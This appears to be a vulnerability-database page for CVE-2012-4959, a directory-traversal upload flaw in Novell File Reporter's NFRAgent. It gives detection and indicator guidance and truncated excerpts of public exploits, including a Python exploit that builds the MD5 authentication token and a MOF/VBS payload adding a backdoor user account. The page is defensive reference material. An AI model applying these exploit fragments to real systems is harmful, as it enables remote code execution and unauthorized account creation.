CVE-2012-4959
published 2012-11-18CVE-2012-4959: Directory traversal vulnerability in NFRAgent.exe in Novell File Reporter 1.0.2 allows remote attackers to upload and execute files via a 130 /FSF/CMD request…
PriorityP272critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
71.19%
99.3th percentile
Directory traversal vulnerability in NFRAgent.exe in Novell File Reporter 1.0.2 allows remote attackers to upload and execute files via a 130 /FSF/CMD request with a .. (dot dot) in a FILE element of an FSFUI record.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| novell | file_reporter | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect HTTPS POST requests to /FSF/CMD (port 3037) containing 'FSFUI130' with directory traversal sequences ('..\' or '../') in the body — this is the exploit trigger for arbitrary file upload. ↗
- →The exploit computes an MD5 of the string 'SRS' + <record> + 'SERVER' (uppercased) and prepends it to the POST body as an authentication token. Detecting this fixed prefix pattern ('SRS'/'SERVER') in the MD5 seed can fingerprint exploit attempts. ↗
- →Monitor for creation of .mof files dropped into %WINDIR%\system32\wbem\mof\ by NFRAgent.exe, which indicates successful exploitation and WMI-based payload execution. ↗
- →The exploit uses SSL (HTTPS) on port 3037; inspect TLS traffic to NFRAgent on this port for POST requests to /FSF/CMD with traversal payloads in the body. ↗
- →The Content-Type header used in exploit requests is 'text/xml'; combined with POST to /FSF/CMD on port 3037, this can be used as a detection filter. ↗
- ·The traversal depth is configurable in the Metasploit module (default 6 levels); defenders should not rely on a fixed number of '../' sequences for detection — match on any traversal depth. ↗
- ·The MOF and VBS filenames used by the Metasploit module are randomly generated (rand_text_alpha); filename-based detection must use wildcard patterns for .mof/.vbs drops in the wbem\mof\ directory rather than static names. ↗
- ·The module targets Windows before Vista ('Automatic' target) and has been confirmed against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1); other versions may behave differently. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Novell File Reporter (NFR) Agent - XML Parsing Remote Code Execution
exploitdb·2012-12-12·CVSS 10.0
CVE-2012-4959 [CRITICAL] Novell File Reporter (NFR) Agent - XML Parsing Remote Code Execution
Novell File Reporter (NFR) Agent - XML Parsing Remote Code Execution
---
# wwww.abysssec.com
# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit
import httplib, md5, sys
def message_MD5(arg):
v = "SRS" + arg + "SERVER"
m = md5.new(v)
return m.hexdigest()
def genMof(command="net user abysssec 123456 /add"):
vbs = ""
vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n"
vbs += "\"objShell.Run \\\"cmd.exe /C "
vbs += command
vbs += "\\\"\""
mof = """
#pragma namespace ("\\\\\\\\.\\\\root\\\\subscrip
Exploit-DB
Novell File Reporter (NFR) Agent FSFUI Record - Arbitrary File Upload / Remote Code Execution (Metasploit)
exploitdb·2012-11-19·CVSS 10.0
CVE-2012-4959 [CRITICAL] Novell File Reporter (NFR) Agent FSFUI Record - Arbitrary File Upload / Remote Code Execution (Metasploit)
Novell File Reporter (NFR) Agent FSFUI Record - Arbitrary File Upload / Remote Code Execution (Metasploit)
---
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 'NFR Agent FSFUI Record File Upload RCE',
'Description' => %q{
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload
arbitrary files via a directory traversal while handling requests to /FSF/CMD with
FSFUI records with UICMD 130. This module has been tested successfully against NFR
Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
},
'Licens
Metasploit
NFR Agent FSFUI Record File Upload RCE
metasploit
NFR Agent FSFUI Record File Upload RCE
NFR Agent FSFUI Record File Upload RCE
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload arbitrary files via a directory traversal while handling requests to /FSF/CMD with FSFUI records with UICMD 130. This module has been tested successfully against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
No writeups or analysis indexed.
2012-11-18
Published